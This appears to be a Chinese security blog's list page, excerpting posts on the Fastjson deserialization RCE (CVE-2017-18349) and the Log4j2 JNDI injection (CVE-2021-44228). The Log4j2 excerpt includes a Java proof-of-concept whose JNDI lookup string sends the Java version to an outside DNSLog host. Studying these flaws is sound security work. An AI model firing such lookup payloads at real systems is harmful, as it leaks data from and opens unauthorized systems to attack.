Fastjson 远程命令执行漏洞(CVE-2017-18349)
漏洞概述
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
参考链接:
序列化和反序列化
对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作:
JSON.toJSONString
JSON.parseObject/JSON.parse
反序列化时不指定特定的类,那么Fastjson就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private
类型的属性值,Fastjson默认不会将其序列化和反序列化。
Fastjson中的@type
Read More
Log4j2 lookup JNDI注入(CVE-2021-44228)
漏洞概述
Log4j2在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j2的漏洞
影响版本
Apache Log4j 2.x <= 2.14.1
Log4j2依赖
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
|
DNSLog
1 2 3 4 5 6 7 8 9 10
| import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager;
public class Log4j2 { private static final Logger logger = LogManager.getLogger(Log4j2.class); public static void main(String[] args) { logger.error("${jndi:ldap://${sys:java.version}.hzitqenuvp.dgrh3.cn}"); } }
|
Java版本信息呈现
Read More